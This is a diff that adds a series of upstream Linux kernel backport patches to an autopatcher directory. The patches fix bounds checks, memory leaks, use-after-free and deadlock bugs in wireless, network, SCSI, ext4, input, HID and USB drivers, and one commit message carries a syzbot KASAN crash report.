4ac2813cc867ae563a1ba5a9414bfb554e5796fa Mon Sep 17 00:00:00 2001 +From: Will Deacon +Date: Fri, 4 Oct 2019 10:51:32 +0100 +Subject: cfg80211: wext: avoid copying malformed SSIDs + +Ensure the SSID element is bounds-checked prior to invoking memcpy() +with its length field, when copying to userspace. + +Cc: +Cc: Kees Cook +Reported-by: Nicolas Waisman +Signed-off-by: Will Deacon +Link: https://lore.kernel.org/r/20191004095132.15777-2-will@kernel.org +[adjust commit log a bit] +Signed-off-by: Johannes Berg +--- + net/wireless/wext-sme.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/net/wireless/wext-sme.c b/net/wireless/wext-sme.c +index c67d7a82ab132..73fd0eae08caa 100644 +--- a/net/wireless/wext-sme.c ++++ b/net/wireless/wext-sme.c +@@ -202,6 +202,7 @@ int cfg80211_mgd_wext_giwessid(struct net_device *dev, + struct iw_point *data, char *ssid) + { + struct wireless_dev *wdev = dev->ieee80211_ptr; ++ int ret = 0; + + /* call only for station! */ + if (WARN_ON(wdev->iftype != NL80211_IFTYPE_STATION)) +@@ -219,7 +220,10 @@ int cfg80211_mgd_wext_giwessid(struct net_device *dev, + if (ie) { + data->flags = 1; + data->length = ie[1]; +- memcpy(ssid, ie + 2, data->length); ++ if (data->length > IW_ESSID_MAX_SIZE) ++ ret = -EINVAL; ++ else ++ memcpy(ssid, ie + 2, data->length); + } + rcu_read_unlock(); + } else if (wdev->wext.connect.ssid && wdev->wext.connect.ssid_len) { +@@ -229,7 +233,7 @@ int cfg80211_mgd_wext_giwessid(struct net_device *dev, + } + wdev_unlock(wdev); + +- return 0; ++ return ret; + } + + int cfg80211_mgd_wext_siwap(struct net_device *dev, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0574-1acb8f2a7a9f-net qlogic Fix memory leak in qlalloclargebuffers.patch b/recipes-kernel/linux/linux-bass/autopatcher/0574-1acb8f2a7a9f-net qlogic Fix memory leak in qlalloclargebuffers.patch new file mode 100644 index 0000000..3edeada --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0574-1acb8f2a7a9f-net qlogic Fix memory leak in qlalloclargebuffers.patch @@ -0,0 +1,30 @@ +From 1acb8f2a7a9f10543868ddd737e37424d5c36cf4 Mon Sep 17 00:00:00 2001 +From: Navid Emamdoost +Date: Fri, 4 Oct 2019 15:24:39 -0500 +Subject: net: qlogic: Fix memory leak in ql_alloc_large_buffers + +In ql_alloc_large_buffers, a new skb is allocated via netdev_alloc_skb. +This skb should be released if pci_dma_mapping_error fails. + +Fixes: 0f8ab89e825f ("qla3xxx: Check return code from pci_map_single() in ql_release_to_lrg_buf_free_list(), ql_populate_free_queue(), ql_alloc_large_buffers(), and ql3xxx_send()") +Signed-off-by: Navid Emamdoost +Signed-off-by: David S. Miller +--- + drivers/net/ethernet/qlogic/qla3xxx.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/net/ethernet/qlogic/qla3xxx.c b/drivers/net/ethernet/qlogic/qla3xxx.c +index 457444894d807..b4b8ba00ee015 100644 +--- a/drivers/net/ethernet/qlogic/qla3xxx.c ++++ b/drivers/net/ethernet/qlogic/qla3xxx.c +@@ -2787,6 +2787,7 @@ static int ql_alloc_large_buffers(struct ql3_adapter *qdev) + netdev_err(qdev->ndev, + "PCI mapping failed with error: %d\n", + err); ++ dev_kfree_skb_irq(skb); + ql_free_large_buffers(qdev); + return -ENOMEM; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0575-2507e6ab7a9a-wimax i2400 fix memory leak.patch b/recipes-kernel/linux/linux-bass/autopatcher/0575-2507e6ab7a9a-wimax i2400 fix memory leak.patch new file mode 100644 index 0000000..cf8812d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0575-2507e6ab7a9a-wimax i2400 fix memory leak.patch @@ -0,0 +1,29 @@ +From 2507e6ab7a9a440773be476141a255934468c5ef Mon Sep 17 00:00:00 2001 +From: Navid Emamdoost +Date: Tue, 10 Sep 2019 18:01:40 -0500 +Subject: wimax: i2400: fix memory leak + +In i2400m_op_rfkill_sw_toggle cmd buffer should be released along with +skb response. + +Signed-off-by: Navid Emamdoost +Signed-off-by: David S. Miller +--- + drivers/net/wimax/i2400m/op-rfkill.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/net/wimax/i2400m/op-rfkill.c b/drivers/net/wimax/i2400m/op-rfkill.c +index 6642bcb27761d..8efb493ceec2f 100644 +--- a/drivers/net/wimax/i2400m/op-rfkill.c ++++ b/drivers/net/wimax/i2400m/op-rfkill.c +@@ -127,6 +127,7 @@ int i2400m_op_rfkill_sw_toggle(struct wimax_dev *wimax_dev, + "%d\n", result); + result = 0; + error_cmd: ++ kfree(cmd); + kfree_skb(ack_skb); + error_msg_to_dev: + error_alloc: +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0576-0e62395da2bd-scsi bfa release allocated memory in case of error.patch b/recipes-kernel/linux/linux-bass/autopatcher/0576-0e62395da2bd-scsi bfa release allocated memory in case of error.patch new file mode 100644 index 0000000..b2a96a2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0576-0e62395da2bd-scsi bfa release allocated memory in case of error.patch @@ -0,0 +1,34 @@ +From 0e62395da2bd5166d7c9e14cbc7503b256a34cb0 Mon Sep 17 00:00:00 2001 +From: Navid Emamdoost +Date: Tue, 10 Sep 2019 18:44:15 -0500 +Subject: scsi: bfa: release allocated memory in case of error + +In bfad_im_get_stats if bfa_port_get_stats fails, allocated memory needs to +be released. + +Link: https://lore.kernel.org/r/20190910234417.22151-1-navid.emamdoost@gmail.com +Signed-off-by: Navid Emamdoost +Signed-off-by: Martin K. Petersen +--- + drivers/scsi/bfa/bfad_attr.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/drivers/scsi/bfa/bfad_attr.c b/drivers/scsi/bfa/bfad_attr.c +index 29ab81df75c01..fbfce02e5b935 100644 +--- a/drivers/scsi/bfa/bfad_attr.c ++++ b/drivers/scsi/bfa/bfad_attr.c +@@ -275,8 +275,10 @@ bfad_im_get_stats(struct Scsi_Host *shost) + rc = bfa_port_get_stats(BFA_FCPORT(&bfad->bfa), + fcstats, bfad_hcb_comp, &fcomp); + spin_unlock_irqrestore(&bfad->bfad_lock, flags); +- if (rc != BFA_STATUS_OK) ++ if (rc != BFA_STATUS_OK) { ++ kfree(fcstats); + return NULL; ++ } + + wait_for_completion(&fcomp.comp); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0577-853acf7caf10-ath9khtc release allocated buffer if timed out.patch b/recipes-kernel/linux/linux-bass/autopatcher/0577-853acf7caf10-ath9khtc release allocated buffer if timed out.patch new file mode 100644 index 0000000..bfb78f3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0577-853acf7caf10-ath9khtc release allocated buffer if timed out.patch @@ -0,0 +1,46 @@ +From 853acf7caf10b828102d92d05b5c101666a6142b Mon Sep 17 00:00:00 2001 +From: Navid Emamdoost +Date: Fri, 6 Sep 2019 13:26:03 -0500 +Subject: ath9k_htc: release allocated buffer if timed out + +In htc_config_pipe_credits, htc_setup_complete, and htc_connect_service +if time out happens, the allocated buffer needs to be released. +Otherwise there will be memory leak. + +Signed-off-by: Navid Emamdoost +Signed-off-by: Kalle Valo +--- + drivers/net/wireless/ath/ath9k/htc_hst.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/net/wireless/ath/ath9k/htc_hst.c b/drivers/net/wireless/ath/ath9k/htc_hst.c +index 1bf63a4efb4c8..d091c8ebdcf08 100644 +--- a/drivers/net/wireless/ath/ath9k/htc_hst.c ++++ b/drivers/net/wireless/ath/ath9k/htc_hst.c +@@ -170,6 +170,7 @@ static int htc_config_pipe_credits(struct htc_target *target) + time_left = wait_for_completion_timeout(&target->cmd_wait, HZ); + if (!time_left) { + dev_err(target->dev, "HTC credit config timeout\n"); ++ kfree_skb(skb); + return -ETIMEDOUT; + } + +@@ -205,6 +206,7 @@ static int htc_setup_complete(struct htc_target *target) + time_left = wait_for_completion_timeout(&target->cmd_wait, HZ); + if (!time_left) { + dev_err(target->dev, "HTC start timeout\n"); ++ kfree_skb(skb); + return -ETIMEDOUT; + } + +@@ -277,6 +279,7 @@ int htc_connect_service(struct htc_target *target, + if (!time_left) { + dev_err(target->dev, "Service connection timeout for: %d\n", + service_connreq->service_id); ++ kfree_skb(skb); + return -ETIMEDOUT; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0578-728c1e2a05e4-ath9k release allocated buffer if timed out.patch b/recipes-kernel/linux/linux-bass/autopatcher/0578-728c1e2a05e4-ath9k release allocated buffer if timed out.patch new file mode 100644 index 0000000..2be85a6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0578-728c1e2a05e4-ath9k release allocated buffer if timed out.patch @@ -0,0 +1,29 @@ +From 728c1e2a05e4b5fc52fab3421dce772a806612a2 Mon Sep 17 00:00:00 2001 +From: Navid Emamdoost +Date: Fri, 6 Sep 2019 13:59:30 -0500 +Subject: ath9k: release allocated buffer if timed out + +In ath9k_wmi_cmd, the allocated network buffer needs to be released +if timeout happens. Otherwise memory will be leaked. + +Signed-off-by: Navid Emamdoost +Signed-off-by: Kalle Valo +--- + drivers/net/wireless/ath/ath9k/wmi.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/net/wireless/ath/ath9k/wmi.c b/drivers/net/wireless/ath/ath9k/wmi.c +index d1f6710ca63bd..cdc1460911948 100644 +--- a/drivers/net/wireless/ath/ath9k/wmi.c ++++ b/drivers/net/wireless/ath/ath9k/wmi.c +@@ -336,6 +336,7 @@ int ath9k_wmi_cmd(struct wmi *wmi, enum wmi_cmd_id cmd_id, + ath_dbg(common, WMI, "Timeout waiting for WMI command: %s\n", + wmi_cmd_to_name(cmd_id)); + mutex_unlock(&wmi->op_mutex); ++ kfree_skb(skb); + return -ETIMEDOUT; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0579-eb6c4cc6bc01-PATCH ext4 work around deleting a file with inlink 0 safely.patch b/recipes-kernel/linux/linux-bass/autopatcher/0579-eb6c4cc6bc01-PATCH ext4 work around deleting a file with inlink 0 safely.patch new file mode 100644 index 0000000..935860f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0579-eb6c4cc6bc01-PATCH ext4 work around deleting a file with inlink 0 safely.patch @@ -0,0 +1,64 @@ +From eb6c4cc6bc01fd63c50940d0a6a827af19239ca3 Mon Sep 17 00:00:00 2001 +From: Theodore Ts'o +Date: Mon, 11 Nov 2019 22:18:13 -0500 +Subject: [PATCH] ext4: work around deleting a file with i_nlink == 0 safely + +[ Upstream commit c7df4a1ecb8579838ec8c56b2bb6a6716e974f37 ] + +If the file system is corrupted such that a file's i_links_count is +too small, then it's possible that when unlinking that file, i_nlink +will already be zero. Previously we were working around this kind of +corruption by forcing i_nlink to one; but we were doing this before +trying to delete the directory entry --- and if the file system is +corrupted enough that ext4_delete_entry() fails, then we exit with +i_nlink elevated, and this causes the orphan inode list handling to be +FUBAR'ed, such that when we unmount the file system, the orphan inode +list can get corrupted. + +A better way to fix this is to simply skip trying to call drop_nlink() +if i_nlink is already zero, thus moving the check to the place where +it makes the most sense. + +https://bugzilla.kernel.org/show_bug.cgi?id=205433 + +Link: https://lore.kernel.org/r/20191112032903.8828-1-tytso@mit.edu +Signed-off-by: Theodore Ts'o +Cc: stable@kernel.org +Reviewed-by: Andreas Dilger +Signed-off-by: Sasha Levin +Signed-off-by: Lee Jones +Change-Id: I9a08356694b4ef9823e9c8c417fa4a1a3fab4cdb +--- + fs/ext4/namei.c | 13 ++++++------- + 1 file changed, 6 insertions(+), 7 deletions(-) + +diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c +index 174203c2463..db50e95b718 100644 +--- a/fs/ext4/namei.c ++++ b/fs/ext4/namei.c +@@ -2910,19 +2910,18 @@ static int ext4_unlink(struct inode *dir, struct dentry *dentry) + if (IS_DIRSYNC(dir)) + ext4_handle_sync(handle); + +- if (!inode->i_nlink) { +- ext4_warning(inode->i_sb, +- "Deleting nonexistent file (%lu), %d", +- inode->i_ino, inode->i_nlink); +- set_nlink(inode, 1); +- } + retval = ext4_delete_entry(handle, dir, de, bh); + if (retval) + goto end_unlink; + dir->i_ctime = dir->i_mtime = ext4_current_time(dir); + ext4_update_dx_flag(dir); + ext4_mark_inode_dirty(handle, dir); +- drop_nlink(inode); ++ if (!inode->i_nlink) ++ ext4_warning(inode->i_sb, ++ "Deleting nonexistent file (%lu), %d", ++ inode->i_ino, inode->i_nlink); ++ else ++ drop_nlink(inode); + if (!inode->i_nlink) + ext4_orphan_add(handle, inode); + inode->i_ctime = ext4_current_time(inode); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0580-aa9e07e7158c-PATCH Input ffmemless kill timer in destroy.patch b/recipes-kernel/linux/linux-bass/autopatcher/0580-aa9e07e7158c-PATCH Input ffmemless kill timer in destroy.patch new file mode 100644 index 0000000..77a11bb --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0580-aa9e07e7158c-PATCH Input ffmemless kill timer in destroy.patch @@ -0,0 +1,42 @@ +From aa9e07e7158ca8783950ac485d820b7b1f1723ba Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Fri, 15 Nov 2019 11:35:05 -0800 +Subject: [PATCH] Input: ff-memless - kill timer in destroy() + +commit fa3a5a1880c91bb92594ad42dfe9eedad7996b86 upstream. + +No timer must be left running when the device goes away. + +Signed-off-by: Oliver Neukum +Reported-and-tested-by: syzbot+b6c55daa701fc389e286@syzkaller.appspotmail.com +Cc: stable@vger.kernel.org +Link: https://lore.kernel.org/r/1573726121.17351.3.camel@suse.com +Signed-off-by: Dmitry Torokhov +Signed-off-by: Greg Kroah-Hartman +Cc: Lee Jones +Signed-off-by: Greg Kroah-Hartman +Change-Id: Iad9250b4172989a45b52a39b41d4dd3b53ac144e +--- + drivers/input/ff-memless.c | 9 +++++++++ + 1 file changed, 9 insertions(+) + +diff --git a/drivers/input/ff-memless.c b/drivers/input/ff-memless.c +index 74c0d8c6002..eaeadc73cf5 100644 +--- a/drivers/input/ff-memless.c ++++ b/drivers/input/ff-memless.c +@@ -489,6 +489,15 @@ static void ml_ff_destroy(struct ff_device *ff) + { + struct ml_device *ml = ff->private; + ++ /* ++ * Even though we stop all playing effects when tearing down ++ * an input device (via input_device_flush() that calls into ++ * input_ff_flush() that stops and erases all effects), we ++ * do not actually stop the timer, and therefore we should ++ * do it here. ++ */ ++ del_timer_sync(&ml->timer); ++ + kfree(ml->private); + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0581-9c09b214f30e-HID hiddev avoid opening a disconnected device.patch b/recipes-kernel/linux/linux-bass/autopatcher/0581-9c09b214f30e-HID hiddev avoid opening a disconnected device.patch new file mode 100644 index 0000000..f5e5abf --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0581-9c09b214f30e-HID hiddev avoid opening a disconnected device.patch @@ -0,0 +1,211 @@ +From 9c09b214f30e3c11f9b0b03f89442df03643794d Mon Sep 17 00:00:00 2001 +From: Hillf Danton +Date: Tue, 6 Aug 2019 16:38:58 +0800 +Subject: HID: hiddev: avoid opening a disconnected device + +syzbot found the following crash on: + +HEAD commit: e96407b4 usb-fuzzer: main usb gadget fuzzer driver +git tree: https://github.com/google/kasan.git usb-fuzzer +console output: https://syzkaller.appspot.com/x/log.txt?x=147ac20c600000 +kernel config: https://syzkaller.appspot.com/x/.config?x=792eb47789f57810 +dashboard link: https://syzkaller.appspot.com/bug?extid=62a1e04fd3ec2abf099e +compiler: gcc (GCC) 9.0.0 20181231 (experimental) + +================================================================== +BUG: KASAN: use-after-free in __lock_acquire+0x302a/0x3b50 +kernel/locking/lockdep.c:3753 +Read of size 8 at addr ffff8881cf591a08 by task syz-executor.1/26260 + +CPU: 1 PID: 26260 Comm: syz-executor.1 Not tainted 5.3.0-rc2+ #24 +Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS +Google 01/01/2011 +Call Trace: + __dump_stack lib/dump_stack.c:77 [inline] + dump_stack+0xca/0x13e lib/dump_stack.c:113 + print_address_description+0x6a/0x32c mm/kasan/report.c:351 + __kasan_report.cold+0x1a/0x33 mm/kasan/report.c:482 + kasan_report+0xe/0x12 mm/kasan/common.c:612 + __lock_acquire+0x302a/0x3b50 kernel/locking/lockdep.c:3753 + lock_acquire+0x127/0x320 kernel/locking/lockdep.c:4412 + __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:110 [inline] + _raw_spin_lock_irqsave+0x32/0x50 kernel/locking/spinlock.c:159 + hiddev_release+0x82/0x520 drivers/hid/usbhid/hiddev.c:221 + __fput+0x2d7/0x840 fs/file_table.c:280 + task_work_run+0x13f/0x1c0 kernel/task_work.c:113 + exit_task_work include/linux/task_work.h:22 [inline] + do_exit+0x8ef/0x2c50 kernel/exit.c:878 + do_group_exit+0x125/0x340 kernel/exit.c:982 + get_signal+0x466/0x23d0 kernel/signal.c:2728 + do_signal+0x88/0x14e0 arch/x86/kernel/signal.c:815 + exit_to_usermode_loop+0x1a2/0x200 arch/x86/entry/common.c:159 + prepare_exit_to_usermode arch/x86/entry/common.c:194 [inline] + syscall_return_slowpath arch/x86/entry/common.c:274 [inline] + do_syscall_64+0x45f/0x580 arch/x86/entry/common.c:299 + entry_SYSCALL_64_after_hwframe+0x49/0xbe +RIP: 0033:0x459829 +Code: fd b7 fb ff c3 66 2e 0f 1f 84 00 00 00 00 00 66 90 48 89 f8 48 89 f7 +48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff +ff 0f 83 cb b7 fb ff c3 66 2e 0f 1f 84 00 00 00 00 +RSP: 002b:00007f75b2a6ccf8 EFLAGS: 00000246 ORIG_RAX: 00000000000000ca +RAX: fffffffffffffe00 RBX: 000000000075c078 RCX: 0000000000459829 +RDX: 0000000000000000 RSI: 0000000000000080 RDI: 000000000075c078 +RBP: 000000000075c070 R08: 0000000000000000 R09: 0000000000000000 +R10: 0000000000000000 R11: 0000000000000246 R12: 000000000075c07c +R13: 00007ffcdfe1023f R14: 00007f75b2a6d9c0 R15: 000000000075c07c + +Allocated by task 104: + save_stack+0x1b/0x80 mm/kasan/common.c:69 + set_track mm/kasan/common.c:77 [inline] + __kasan_kmalloc mm/kasan/common.c:487 [inline] + __kasan_kmalloc.constprop.0+0xbf/0xd0 mm/kasan/common.c:460 + kmalloc include/linux/slab.h:552 [inline] + kzalloc include/linux/slab.h:748 [inline] + hiddev_connect+0x242/0x5b0 drivers/hid/usbhid/hiddev.c:900 + hid_connect+0x239/0xbb0 drivers/hid/hid-core.c:1882 + hid_hw_start drivers/hid/hid-core.c:1981 [inline] + hid_hw_start+0xa2/0x130 drivers/hid/hid-core.c:1972 + appleir_probe+0x13e/0x1a0 drivers/hid/hid-appleir.c:308 + hid_device_probe+0x2be/0x3f0 drivers/hid/hid-core.c:2209 + really_probe+0x281/0x650 drivers/base/dd.c:548 + driver_probe_device+0x101/0x1b0 drivers/base/dd.c:709 + __device_attach_driver+0x1c2/0x220 drivers/base/dd.c:816 + bus_for_each_drv+0x15c/0x1e0 drivers/base/bus.c:454 + __device_attach+0x217/0x360 drivers/base/dd.c:882 + bus_probe_device+0x1e4/0x290 drivers/base/bus.c:514 + device_add+0xae6/0x16f0 drivers/base/core.c:2114 + hid_add_device+0x33c/0x990 drivers/hid/hid-core.c:2365 + usbhid_probe+0xa81/0xfa0 drivers/hid/usbhid/hid-core.c:1386 + usb_probe_interface+0x305/0x7a0 drivers/usb/core/driver.c:361 + really_probe+0x281/0x650 drivers/base/dd.c:548 + driver_probe_device+0x101/0x1b0 drivers/base/dd.c:709 + __device_attach_driver+0x1c2/0x220 drivers/base/dd.c:816 + bus_for_each_drv+0x15c/0x1e0 drivers/base/bus.c:454 + __device_attach+0x217/0x360 drivers/base/dd.c:882 + bus_probe_device+0x1e4/0x290 drivers/base/bus.c:514 + device_add+0xae6/0x16f0 drivers/base/core.c:2114 + usb_set_configuration+0xdf6/0x1670 drivers/usb/core/message.c:2023 + generic_probe+0x9d/0xd5 drivers/usb/core/generic.c:210 + usb_probe_device+0x99/0x100 drivers/usb/core/driver.c:266 + really_probe+0x281/0x650 drivers/base/dd.c:548 + driver_probe_device+0x101/0x1b0 drivers/base/dd.c:709 + __device_attach_driver+0x1c2/0x220 drivers/base/dd.c:816 + bus_for_each_drv+0x15c/0x1e0 drivers/base/bus.c:454 + __device_attach+0x217/0x360 drivers/base/dd.c:882 + bus_probe_device+0x1e4/0x290 drivers/base/bus.c:514 + device_add+0xae6/0x16f0 drivers/base/core.c:2114 + usb_new_device.cold+0x6a4/0xe79 drivers/usb/core/hub.c:2536 + hub_port_connect drivers/usb/core/hub.c:5098 [inline] + hub_port_connect_change drivers/usb/core/hub.c:5213 [inline] + port_event drivers/usb/core/hub.c:5359 [inline] + hub_event+0x1b5c/0x3640 drivers/usb/core/hub.c:5441 + process_one_work+0x92b/0x1530 kernel/workqueue.c:2269 + worker_thread+0x96/0xe20 kernel/workqueue.c:2415 + kthread+0x318/0x420 kernel/kthread.c:255 + ret_from_fork+0x24/0x30 arch/x86/entry/entry_64.S:352 + +Freed by task 104: + save_stack+0x1b/0x80 mm/kasan/common.c:69 + set_track mm/kasan/common.c:77 [inline] + __kasan_slab_free+0x130/0x180 mm/kasan/common.c:449 + slab_free_hook mm/slub.c:1423 [inline] + slab_free_freelist_hook mm/slub.c:1470 [inline] + slab_free mm/slub.c:3012 [inline] + kfree+0xe4/0x2f0 mm/slub.c:3953 + hiddev_connect.cold+0x45/0x5c drivers/hid/usbhid/hiddev.c:914 + hid_connect+0x239/0xbb0 drivers/hid/hid-core.c:1882 + hid_hw_start drivers/hid/hid-core.c:1981 [inline] + hid_hw_start+0xa2/0x130 drivers/hid/hid-core.c:1972 + appleir_probe+0x13e/0x1a0 drivers/hid/hid-appleir.c:308 + hid_device_probe+0x2be/0x3f0 drivers/hid/hid-core.c:2209 + really_probe+0x281/0x650 drivers/base/dd.c:548 + driver_probe_device+0x101/0x1b0 drivers/base/dd.c:709 + __device_attach_driver+0x1c2/0x220 drivers/base/dd.c:816 + bus_for_each_drv+0x15c/0x1e0 drivers/base/bus.c:454 + __device_attach+0x217/0x360 drivers/base/dd.c:882 + bus_probe_device+0x1e4/0x290 drivers/base/bus.c:514 + device_add+0xae6/0x16f0 drivers/base/core.c:2114 + hid_add_device+0x33c/0x990 drivers/hid/hid-core.c:2365 + usbhid_probe+0xa81/0xfa0 drivers/hid/usbhid/hid-core.c:1386 + usb_probe_interface+0x305/0x7a0 drivers/usb/core/driver.c:361 + really_probe+0x281/0x650 drivers/base/dd.c:548 + driver_probe_device+0x101/0x1b0 drivers/base/dd.c:709 + __device_attach_driver+0x1c2/0x220 drivers/base/dd.c:816 + bus_for_each_drv+0x15c/0x1e0 drivers/base/bus.c:454 + __device_attach+0x217/0x360 drivers/base/dd.c:882 + bus_probe_device+0x1e4/0x290 drivers/base/bus.c:514 + device_add+0xae6/0x16f0 drivers/base/core.c:2114 + usb_set_configuration+0xdf6/0x1670 drivers/usb/core/message.c:2023 + generic_probe+0x9d/0xd5 drivers/usb/core/generic.c:210 + usb_probe_device+0x99/0x100 drivers/usb/core/driver.c:266 + really_probe+0x281/0x650 drivers/base/dd.c:548 + driver_probe_device+0x101/0x1b0 drivers/base/dd.c:709 + __device_attach_driver+0x1c2/0x220 drivers/base/dd.c:816 + bus_for_each_drv+0x15c/0x1e0 drivers/base/bus.c:454 + __device_attach+0x217/0x360 drivers/base/dd.c:882 + bus_probe_device+0x1e4/0x290 drivers/base/bus.c:514 + device_add+0xae6/0x16f0 drivers/base/core.c:2114 + usb_new_device.cold+0x6a4/0xe79 drivers/usb/core/hub.c:2536 + hub_port_connect drivers/usb/core/hub.c:5098 [inline] + hub_port_connect_change drivers/usb/core/hub.c:5213 [inline] + port_event drivers/usb/core/hub.c:5359 [inline] + hub_event+0x1b5c/0x3640 drivers/usb/core/hub.c:5441 + process_one_work+0x92b/0x1530 kernel/workqueue.c:2269 + worker_thread+0x96/0xe20 kernel/workqueue.c:2415 + kthread+0x318/0x420 kernel/kthread.c:255 + ret_from_fork+0x24/0x30 arch/x86/entry/entry_64.S:352 + +The buggy address belongs to the object at ffff8881cf591900 + which belongs to the cache kmalloc-512 of size 512 +The buggy address is located 264 bytes inside of + 512-byte region [ffff8881cf591900, ffff8881cf591b00) +The buggy address belongs to the page: +page:ffffea00073d6400 refcount:1 mapcount:0 mapping:ffff8881da002500 +index:0x0 compound_mapcount: 0 +flags: 0x200000000010200(slab|head) +raw: 0200000000010200 0000000000000000 0000000100000001 ffff8881da002500 +raw: 0000000000000000 00000000000c000c 00000001ffffffff 0000000000000000 +page dumped because: kasan: bad access detected + +Memory state around the buggy address: + ffff8881cf591900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ffff8881cf591980: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb +> ffff8881cf591a00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ^ + ffff8881cf591a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb + ffff8881cf591b00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc +================================================================== + +In order to avoid opening a disconnected device, we need to check exist +again after acquiring the existance lock, and bail out if necessary. + +Reported-by: syzbot +Cc: Andrey Konovalov +Signed-off-by: Hillf Danton +Signed-off-by: Jiri Kosina +--- + drivers/hid/usbhid/hiddev.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/drivers/hid/usbhid/hiddev.c b/drivers/hid/usbhid/hiddev.c +index 55b72573066b9..c07df82923802 100644 +--- a/drivers/hid/usbhid/hiddev.c ++++ b/drivers/hid/usbhid/hiddev.c +@@ -284,6 +284,14 @@ static int hiddev_open(struct inode *inode, struct file *file) + spin_unlock_irq(&list->hiddev->list_lock); + + mutex_lock(&hiddev->existancelock); ++ /* ++ * recheck exist with existance lock held to ++ * avoid opening a disconnected device ++ */ ++ if (!list->hiddev->exist) { ++ res = -ENODEV; ++ goto bail_unlock; ++ } + if (!list->hiddev->open++) + if (list->hiddev->exist) { + struct hid_device *hid = hiddev->hid; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0582-c468a8aa790e-usb iowarrior fix deadlock on disconnect.patch b/recipes-kernel/linux/linux-bass/autopatcher/0582-c468a8aa790e-usb iowarrior fix deadlock on disconnect.patch new file mode 100644 index 0000000..1f5cf5b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0582-c468a8aa790e-usb iowarrior fix deadlock on disconnect.patch @@ -0,0 +1,50 @@ +From c468a8aa790e0dfe0a7f8a39db282d39c2c00b46 Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Thu, 8 Aug 2019 11:27:28 +0200 +Subject: usb: iowarrior: fix deadlock on disconnect + +We have to drop the mutex before we close() upon disconnect() +as close() needs the lock. This is safe to do by dropping the +mutex as intfdata is already set to NULL, so open() will fail. + +Fixes: 03f36e885fc26 ("USB: open disconnect race in iowarrior") +Reported-by: syzbot+a64a382964bf6c71a9c0@syzkaller.appspotmail.com +Cc: stable +Signed-off-by: Oliver Neukum +Link: https://lore.kernel.org/r/20190808092728.23417-1-oneukum@suse.com +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/misc/iowarrior.c | 7 ++++--- + 1 file changed, 4 insertions(+), 3 deletions(-) + +diff --git a/drivers/usb/misc/iowarrior.c b/drivers/usb/misc/iowarrior.c +index ba05dd80a020f..f5bed9f29e562 100644 +--- a/drivers/usb/misc/iowarrior.c ++++ b/drivers/usb/misc/iowarrior.c +@@ -866,19 +866,20 @@ static void iowarrior_disconnect(struct usb_interface *interface) + dev = usb_get_intfdata(interface); + mutex_lock(&iowarrior_open_disc_lock); + usb_set_intfdata(interface, NULL); ++ /* prevent device read, write and ioctl */ ++ dev->present = 0; + + minor = dev->minor; ++ mutex_unlock(&iowarrior_open_disc_lock); ++ /* give back our minor - this will call close() locks need to be dropped at this point*/ + +- /* give back our minor */ + usb_deregister_dev(interface, &iowarrior_class); + + mutex_lock(&dev->mutex); + + /* prevent device read, write and ioctl */ +- dev->present = 0; + + mutex_unlock(&dev->mutex); +- mutex_unlock(&iowarrior_open_disc_lock); + + if (dev->opened) { + /* There is a process that holds a filedescriptor to the device , +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0583-edc4746f253d-USB iowarrior fix useafterfree on disconnect.patch b/recipes-kernel/linux/linux-bass/autopatcher/0583-edc4746f253d-USB iowarrior fix useafterfree on disconnect.patch new file mode 100644 index 0000000..a5b576d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0583-edc4746f253d-USB iowarrior fix useafterfree on disconnect.patch @@ -0,0 +1,63 @@ +From edc4746f253d907d048de680a621e121517f484b Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Wed, 9 Oct 2019 12:48:41 +0200 +Subject: USB: iowarrior: fix use-after-free on disconnect + +A recent fix addressing a deadlock on disconnect introduced a new bug +by moving the present flag out of the critical section protected by the +driver-data mutex. This could lead to a racing release() freeing the +driver data before disconnect() is done with it. + +Due to insufficient locking a related use-after-free could be triggered +also before the above 